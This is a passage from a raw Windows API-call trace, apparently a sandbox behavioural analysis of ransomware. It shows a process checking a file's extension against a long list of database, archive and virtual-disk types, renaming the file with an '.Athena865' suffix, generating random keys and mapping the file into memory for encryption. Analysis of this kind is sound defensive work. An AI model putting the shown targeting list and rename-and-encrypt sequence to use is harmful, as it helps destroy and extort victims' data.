(lpString1="0DtmKOGs7JD.png", lpString2="MSBuild") returned -1 [0051.504] lstrlenW (lpString="0DtmKOGs7JD.png") returned 15 [0051.504] lstrcpyW (in: lpString1=0x241e8b8, lpString2="0DtmKOGs7JD.png" | out: lpString1="0DtmKOGs7JD.png") returned="0DtmKOGs7JD.png" [0051.504] lstrlenW (lpString="0DtmKOGs7JD.png") returned 15 [0051.504] lstrlenW (lpString="Athena865") returned 9 [0051.504] lstrcmpiW (lpString1="Gs7JD.png", lpString2="Athena865") returned 1 [0051.504] lstrlenW (lpString=".dll") returned 4 [0051.504] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2=".dll") returned 1 [0051.504] lstrlenW (lpString=".lnk") returned 4 [0051.504] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2=".lnk") returned 1 [0051.504] lstrlenW (lpString=".ini") returned 4 [0051.504] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2=".ini") returned 1 [0051.504] lstrlenW (lpString=".sys") returned 4 [0051.504] lstrcmpiW (lpString1="0DtmKOGs7JD.png", lpString2=".sys") returned 1 [0051.504] lstrlenW (lpString="0DtmKOGs7JD.png") returned 15 [0051.504] lstrlenW (lpString="bak") returned 3 [0051.504] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0051.504] lstrlenW (lpString="ba_") returned 3 [0051.504] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0051.504] lstrlenW (lpString="dbb") returned 3 [0051.504] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0051.504] lstrlenW (lpString="vmdk") returned 4 [0051.504] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0051.504] lstrlenW (lpString="rar") returned 3 [0051.504] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0051.504] lstrlenW (lpString="zip") returned 3 [0051.504] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0051.504] lstrlenW (lpString="tgz") returned 3 [0051.505] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0051.505] lstrlenW (lpString="vbox") returned 4 [0051.505] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0051.505] lstrlenW (lpString="vdi") returned 3 [0051.505] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0051.505] lstrlenW (lpString="vhd") returned 3 [0051.505] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0051.505] lstrlenW (lpString="vhdx") returned 4 [0051.505] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0051.505] lstrlenW (lpString="avhd") returned 4 [0051.505] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0051.505] lstrlenW (lpString="db") returned 2 [0051.505] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0051.505] lstrlenW (lpString="db2") returned 3 [0051.505] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0051.505] lstrlenW (lpString="db3") returned 3 [0051.505] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0051.505] lstrlenW (lpString="dbf") returned 3 [0051.505] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0051.505] lstrlenW (lpString="mdf") returned 3 [0051.505] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0051.505] lstrlenW (lpString="mdb") returned 3 [0051.505] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0051.505] lstrlenW (lpString="sql") returned 3 [0051.505] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0051.505] lstrlenW (lpString="sqlite") returned 6 [0051.505] lstrcmpiW (lpString1="JD.png", lpString2="sqlite") returned -1 [0051.505] lstrlenW (lpString="sqlite3") returned 7 [0051.505] lstrcmpiW (lpString1="7JD.png", lpString2="sqlite3") returned -1 [0051.505] lstrlenW (lpString="sqlitedb") returned 8 [0051.505] lstrcmpiW (lpString1="s7JD.png", lpString2="sqlitedb") returned -1 [0051.505] lstrlenW (lpString="xml") returned 3 [0051.505] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0051.505] lstrlenW (lpString="$er") returned 3 [0051.506] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0051.506] lstrlenW (lpString="4dd") returned 3 [0051.506] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0051.506] lstrlenW (lpString="4dl") returned 3 [0051.506] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0051.506] lstrlenW (lpString="^^^") returned 3 [0051.506] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0051.506] lstrlenW (lpString="abs") returned 3 [0051.506] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0051.506] lstrlenW (lpString="abx") returned 3 [0051.506] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0051.506] lstrlenW (lpString="accdb") returned 5 [0051.506] lstrcmpiW (lpString1="D.png", lpString2="accdb") returned 1 [0051.506] lstrlenW (lpString="accdc") returned 5 [0051.506] lstrcmpiW (lpString1="D.png", lpString2="accdc") returned 1 [0051.506] lstrlenW (lpString="accde") returned 5 [0051.506] lstrcmpiW (lpString1="D.png", lpString2="accde") returned 1 [0051.506] lstrlenW (lpString="accdr") returned 5 [0051.506] lstrcmpiW (lpString1="D.png", lpString2="accdr") returned 1 [0051.506] lstrlenW (lpString="accdt") returned 5 [0051.506] lstrcmpiW (lpString1="D.png", lpString2="accdt") returned 1 [0051.506] lstrlenW (lpString="accdw") returned 5 [0051.506] lstrcmpiW (lpString1="D.png", lpString2="accdw") returned 1 [0051.506] lstrlenW (lpString="accft") returned 5 [0051.506] lstrcmpiW (lpString1="D.png", lpString2="accft") returned 1 [0051.506] lstrlenW (lpString="adb") returned 3 [0051.506] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0051.506] lstrlenW (lpString="adb") returned 3 [0051.506] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0051.506] lstrlenW (lpString="ade") returned 3 [0051.506] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0051.506] lstrlenW (lpString="adf") returned 3 [0051.506] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0051.507] lstrlenW (lpString="adn") returned 3 [0051.507] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0051.507] lstrlenW (lpString="adp") returned 3 [0051.507] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0051.507] lstrlenW (lpString="alf") returned 3 [0051.507] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0051.507] lstrlenW (lpString="ask") returned 3 [0051.507] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0051.507] lstrlenW (lpString="btr") returned 3 [0051.507] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0051.507] lstrlenW (lpString="cat") returned 3 [0051.507] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0051.507] lstrlenW (lpString="cdb") returned 3 [0051.507] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0051.507] lstrlenW (lpString="ckp") returned 3 [0051.507] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0051.507] lstrlenW (lpString="cma") returned 3 [0051.507] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0051.507] lstrlenW (lpString="cpd") returned 3 [0051.507] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0051.507] lstrlenW (lpString="dacpac") returned 6 [0051.507] lstrcmpiW (lpString1="JD.png", lpString2="dacpac") returned 1 [0051.507] lstrlenW (lpString="dad") returned 3 [0051.507] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0051.507] lstrlenW (lpString="dadiagrams") returned 10 [0051.507] lstrcmpiW (lpString1="OGs7JD.png", lpString2="dadiagrams") returned 1 [0051.507] lstrlenW (lpString="daschema") returned 8 [0051.507] lstrcmpiW (lpString1="s7JD.png", lpString2="daschema") returned 1 [0051.507] lstrlenW (lpString="db-journal") returned 10 [0051.507] lstrcmpiW (lpString1="OGs7JD.png", lpString2="db-journal") returned 1 [0051.507] lstrlenW (lpString="db-shm") returned 6 [0051.507] lstrcmpiW (lpString1="JD.png", lpString2="db-shm") returned 1 [0051.507] lstrlenW (lpString="db-wal") returned 6 [0051.507] lstrcmpiW (lpString1="JD.png", lpString2="db-wal") returned 1 [0051.508] lstrlenW (lpString="dbc") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0051.508] lstrlenW (lpString="dbs") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0051.508] lstrlenW (lpString="dbt") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0051.508] lstrlenW (lpString="dbv") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0051.508] lstrlenW (lpString="dbx") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0051.508] lstrlenW (lpString="dcb") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0051.508] lstrlenW (lpString="dct") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="dct") returned 1 [0051.508] lstrlenW (lpString="dcx") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1 [0051.508] lstrlenW (lpString="ddl") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1 [0051.508] lstrlenW (lpString="dlis") returned 4 [0051.508] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1 [0051.508] lstrlenW (lpString="dp1") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1 [0051.508] lstrlenW (lpString="dqy") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1 [0051.508] lstrlenW (lpString="dsk") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1 [0051.508] lstrlenW (lpString="dsn") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1 [0051.508] lstrlenW (lpString="dtsx") returned 4 [0051.508] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1 [0051.508] lstrlenW (lpString="dxl") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1 [0051.508] lstrlenW (lpString="eco") returned 3 [0051.508] lstrcmpiW (lpString1="png", lpString2="eco") returned 1 [0051.509] lstrlenW (lpString="ecx") returned 3 [0051.509] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1 [0051.509] lstrlenW (lpString="edb") returned 3 [0051.509] lstrcmpiW (lpString1="png", lpString2="edb") returned 1 [0051.509] lstrlenW (lpString="epim") returned 4 [0051.509] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1 [0051.509] lstrlenW (lpString="fcd") returned 3 [0051.509] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1 [0051.509] lstrlenW (lpString="fdb") returned 3 [0051.509] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1 [0051.509] lstrlenW (lpString="fic") returned 3 [0051.509] lstrcmpiW (lpString1="png", lpString2="fic") returned 1 [0051.509] lstrlenW (lpString="flexolibrary") returned 12 [0051.509] lstrcmpiW (lpString1="mKOGs7JD.png", lpString2="flexolibrary") returned 1 [0051.509] lstrlenW (lpString="fm5") returned 3 [0051.509] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1 [0051.509] lstrlenW (lpString="fmp") returned 3 [0051.509] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1 [0051.509] lstrlenW (lpString="fmp12") returned 5 [0051.509] lstrcmpiW (lpString1="D.png", lpString2="fmp12") returned -1 [0051.509] lstrlenW (lpString="fmpsl") returned 5 [0051.509] lstrcmpiW (lpString1="D.png", lpString2="fmpsl") returned -1 [0051.509] lstrlenW (lpString="fol") returned 3 [0051.509] lstrcmpiW (lpString1="png", lpString2="fol") returned 1 [0051.509] lstrlenW (lpString="fp3") returned 3 [0051.509] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1 [0051.509] lstrlenW (lpString="fp4") returned 3 [0051.509] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1 [0051.509] lstrlenW (lpString="fp5") returned 3 [0051.509] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1 [0051.509] lstrlenW (lpString="fp7") returned 3 [0051.509] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1 [0051.509] lstrlenW (lpString="fpt") returned 3 [0051.510] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1 [0051.510] lstrlenW (lpString="frm") returned 3 [0051.510] lstrcmpiW (lpString1="png", lpString2="frm") returned 1 [0051.510] lstrlenW (lpString="gdb") returned 3 [0051.510] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0051.510] lstrlenW (lpString="gdb") returned 3 [0051.510] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0051.510] lstrlenW (lpString="grdb") returned 4 [0051.510] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1 [0051.510] lstrlenW (lpString="gwi") returned 3 [0051.510] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1 [0051.510] lstrlenW (lpString="hdb") returned 3 [0051.510] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1 [0051.510] lstrlenW (lpString="his") returned 3 [0051.510] lstrcmpiW (lpString1="png", lpString2="his") returned 1 [0051.510] lstrlenW (lpString="ib") returned 2 [0051.510] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1 [0051.510] lstrlenW (lpString="idb") returned 3 [0051.510] lstrcmpiW (lpString1="png", lpString2="idb") returned 1 [0051.510] lstrlenW (lpString="ihx") returned 3 [0051.510] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1 [0051.510] lstrlenW (lpString="itdb") returned 4 [0051.510] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1 [0051.510] lstrlenW (lpString="itw") returned 3 [0051.510] lstrcmpiW (lpString1="png", lpString2="itw") returned 1 [0051.510] lstrlenW (lpString="jet") returned 3 [0051.510] lstrcmpiW (lpString1="png", lpString2="jet") returned 1 [0051.510] lstrlenW (lpString="jtx") returned 3 [0051.510] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1 [0051.510] lstrlenW (lpString="kdb") returned 3 [0051.510] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1 [0051.510] lstrlenW (lpString="kexi") returned 4 [0051.511] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1 [0051.511] lstrlenW (lpString="kexic") returned 5 [0051.511] lstrcmpiW (lpString1="D.png", lpString2="kexic") returned -1 [0051.511] lstrlenW (lpString="kexis") returned 5 [0051.511] lstrcmpiW (lpString1="D.png", lpString2="kexis") returned -1 [0051.511] lstrlenW (lpString="lgc") returned 3 [0051.511] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1 [0051.511] lstrlenW (lpString="lwx") returned 3 [0051.511] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1 [0051.511] lstrlenW (lpString="maf") returned 3 [0051.511] lstrcmpiW (lpString1="png", lpString2="maf") returned 1 [0051.511] lstrlenW (lpString="maq") returned 3 [0051.511] lstrcmpiW (lpString1="png", lpString2="maq") returned 1 [0051.511] lstrlenW (lpString="mar") returned 3 [0051.511] lstrcmpiW (lpString1="png", lpString2="mar") returned 1 [0051.511] lstrlenW (lpString="marshal") returned 7 [0051.511] lstrcmpiW (lpString1="7JD.png", lpString2="marshal") returned -1 [0051.511] lstrlenW (lpString="mas") returned 3 [0051.511] lstrcmpiW (lpString1="png", lpString2="mas") returned 1 [0051.511] lstrlenW (lpString="mav") returned 3 [0051.511] lstrcmpiW (lpString1="png", lpString2="mav") returned 1 [0051.511] lstrlenW (lpString="maw") returned 3 [0051.511] lstrcmpiW (lpString1="png", lpString2="maw") returned 1 [0051.511] lstrlenW (lpString="mdbhtml") returned 7 [0051.511] lstrcmpiW (lpString1="7JD.png", lpString2="mdbhtml") returned -1 [0051.511] lstrlenW (lpString="mdn") returned 3 [0051.511] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1 [0051.511] lstrlenW (lpString="mdt") returned 3 [0051.511] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1 [0051.511] lstrlenW (lpString="mfd") returned 3 [0051.511] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1 [0051.511] lstrlenW (lpString="mpd") returned 3 [0051.511] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1 [0051.512] lstrlenW (lpString="mrg") returned 3 [0051.512] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1 [0051.512] lstrlenW (lpString="mud") returned 3 [0051.512] lstrcmpiW (lpString1="png", lpString2="mud") returned 1 [0051.512] lstrlenW (lpString="mwb") returned 3 [0051.512] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1 [0051.512] lstrlenW (lpString="myd") returned 3 [0051.512] lstrcmpiW (lpString1="png", lpString2="myd") returned 1 [0051.512] lstrlenW (lpString="ndf") returned 3 [0051.512] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1 [0051.512] lstrlenW (lpString="nnt") returned 3 [0051.512] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1 [0051.512] lstrlenW (lpString="nrmlib") returned 6 [0051.512] lstrcmpiW (lpString1="JD.png", lpString2="nrmlib") returned -1 [0051.512] lstrlenW (lpString="ns2") returned 3 [0051.512] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1 [0051.512] lstrlenW (lpString="ns3") returned 3 [0051.512] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1 [0051.512] lstrlenW (lpString="ns4") returned 3 [0051.512] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1 [0051.512] lstrlenW (lpString="nsf") returned 3 [0051.512] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1 [0051.512] lstrlenW (lpString="nv") returned 2 [0051.512] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1 [0051.512] lstrlenW (lpString="nv2") returned 3 [0051.512] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1 [0051.512] lstrlenW (lpString="nwdb") returned 4 [0051.512] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1 [0051.512] lstrlenW (lpString="nyf") returned 3 [0051.512] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1 [0051.512] lstrlenW (lpString="odb") returned 3 [0051.512] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0051.512] lstrlenW (lpString="odb") returned 3 [0051.512] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0051.513] lstrlenW (lpString="oqy") returned 3 [0051.513] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1 [0051.513] lstrlenW (lpString="ora") returned 3 [0051.513] lstrcmpiW (lpString1="png", lpString2="ora") returned 1 [0051.513] lstrlenW (lpString="orx") returned 3 [0051.513] lstrcmpiW (lpString1="png", lpString2="orx") returned 1 [0051.513] lstrlenW (lpString="owc") returned 3 [0051.513] lstrcmpiW (lpString1="png", lpString2="owc") returned 1 [0051.513] lstrlenW (lpString="p96") returned 3 [0051.513] lstrcmpiW (lpString1="png", lpString2="p96") returned 1 [0051.513] lstrlenW (lpString="p97") returned 3 [0051.513] lstrcmpiW (lpString1="png", lpString2="p97") returned 1 [0051.513] lstrlenW (lpString="pan") returned 3 [0051.513] lstrcmpiW (lpString1="png", lpString2="pan") returned 1 [0051.513] lstrlenW (lpString="pdb") returned 3 [0051.513] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1 [0051.513] lstrlenW (lpString="pdm") returned 3 [0051.513] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1 [0051.513] lstrlenW (lpString="pnz") returned 3 [0051.513] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1 [0051.513] lstrlenW (lpString="qry") returned 3 [0051.513] lstrcmpiW (lpString1="png", lpString2="qry") returned -1 [0051.513] lstrlenW (lpString="qvd") returned 3 [0051.513] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1 [0051.513] lstrlenW (lpString="rbf") returned 3 [0051.513] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1 [0051.513] lstrlenW (lpString="rctd") returned 4 [0051.513] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1 [0051.513] lstrlenW (lpString="rod") returned 3 [0051.513] lstrcmpiW (lpString1="png", lpString2="rod") returned -1 [0051.513] lstrlenW (lpString="rodx") returned 4 [0051.513] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1 [0051.514] lstrlenW (lpString="rpd") returned 3 [0051.514] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1 [0051.514] lstrlenW (lpString="rsd") returned 3 [0051.514] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1 [0051.514] lstrlenW (lpString="sas7bdat") returned 8 [0051.514] lstrcmpiW (lpString1="s7JD.png", lpString2="sas7bdat") returned -1 [0051.514] lstrlenW (lpString="sbf") returned 3 [0051.514] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1 [0051.514] lstrlenW (lpString="scx") returned 3 [0051.514] lstrcmpiW (lpString1="png", lpString2="scx") returned -1 [0051.514] lstrlenW (lpString="sdb") returned 3 [0051.514] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1 [0051.514] lstrlenW (lpString="sdc") returned 3 [0051.514] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1 [0051.514] lstrlenW (lpString="sdf") returned 3 [0051.514] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1 [0051.514] lstrlenW (lpString="sis") returned 3 [0051.514] lstrcmpiW (lpString1="png", lpString2="sis") returned -1 [0051.514] lstrlenW (lpString="spq") returned 3 [0051.514] lstrcmpiW (lpString1="png", lpString2="spq") returned -1 [0051.514] lstrlenW (lpString="te") returned 2 [0051.514] lstrcmpiW (lpString1="ng", lpString2="te") returned -1 [0051.514] lstrlenW (lpString="teacher") returned 7 [0051.514] lstrcmpiW (lpString1="7JD.png", lpString2="teacher") returned -1 [0051.514] lstrlenW (lpString="tmd") returned 3 [0051.514] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1 [0051.514] lstrlenW (lpString="tps") returned 3 [0051.514] lstrcmpiW (lpString1="png", lpString2="tps") returned -1 [0051.514] lstrlenW (lpString="trc") returned 3 [0051.514] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0051.514] lstrlenW (lpString="trc") returned 3 [0051.514] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0051.515] lstrlenW (lpString="trm") returned 3 [0051.515] lstrcmpiW (lpString1="png", lpString2="trm") returned -1 [0051.515] lstrlenW (lpString="udb") returned 3 [0051.515] lstrcmpiW (lpString1="png", lpString2="udb") returned -1 [0051.515] lstrlenW (lpString="udl") returned 3 [0051.515] lstrcmpiW (lpString1="png", lpString2="udl") returned -1 [0051.515] lstrlenW (lpString="usr") returned 3 [0051.515] lstrcmpiW (lpString1="png", lpString2="usr") returned -1 [0051.515] lstrlenW (lpString="v12") returned 3 [0051.515] lstrcmpiW (lpString1="png", lpString2="v12") returned -1 [0051.515] lstrlenW (lpString="vis") returned 3 [0051.515] lstrcmpiW (lpString1="png", lpString2="vis") returned -1 [0051.515] lstrlenW (lpString="vpd") returned 3 [0051.515] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1 [0051.515] lstrlenW (lpString="vvv") returned 3 [0051.515] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1 [0051.515] lstrlenW (lpString="wdb") returned 3 [0051.515] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1 [0051.515] lstrlenW (lpString="wmdb") returned 4 [0051.515] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1 [0051.515] lstrlenW (lpString="wrk") returned 3 [0051.515] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1 [0051.515] lstrlenW (lpString="xdb") returned 3 [0051.515] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1 [0051.515] lstrlenW (lpString="xld") returned 3 [0051.515] lstrcmpiW (lpString1="png", lpString2="xld") returned -1 [0051.515] lstrlenW (lpString="xmlff") returned 5 [0051.515] lstrcmpiW (lpString1="D.png", lpString2="xmlff") returned -1 [0051.515] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\0DtmKOGs7JD.png.Athena865") returned 81 [0051.515] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\0DtmKOGs7JD.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\0dtmkogs7jd.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\0DtmKOGs7JD.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\0dtmkogs7jd.png.athena865"), dwFlags=0x1) returned 1 [0051.516] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\0DtmKOGs7JD.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\0dtmkogs7jd.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.516] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32317) returned 1 [0051.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.517] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.517] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.517] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.518] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8140, lpName=0x0) returned 0x154 [0051.518] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8140) returned 0x100000 [0051.519] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.520] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.520] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.521] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.521] CloseHandle (hObject=0x154) returned 1 [0051.521] CloseHandle (hObject=0x17c) returned 1 [0051.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.523] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9215ec0, ftCreationTime.dwHighDateTime=0x1d4d29a, ftLastAccessTime.dwLowDateTime=0xc5536740, ftLastAccessTime.dwHighDateTime=0x1d4cb1b, ftLastWriteTime.dwLowDateTime=0xc5536740, ftLastWriteTime.dwHighDateTime=0x1d4cb1b, nFileSizeHigh=0x0, nFileSizeLow=0xe5ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0tnAHeA3v9Mw-E.gif", cAlternateFileName="0TNAHE~1.GIF")) returned 1 [0051.523] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.523] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", 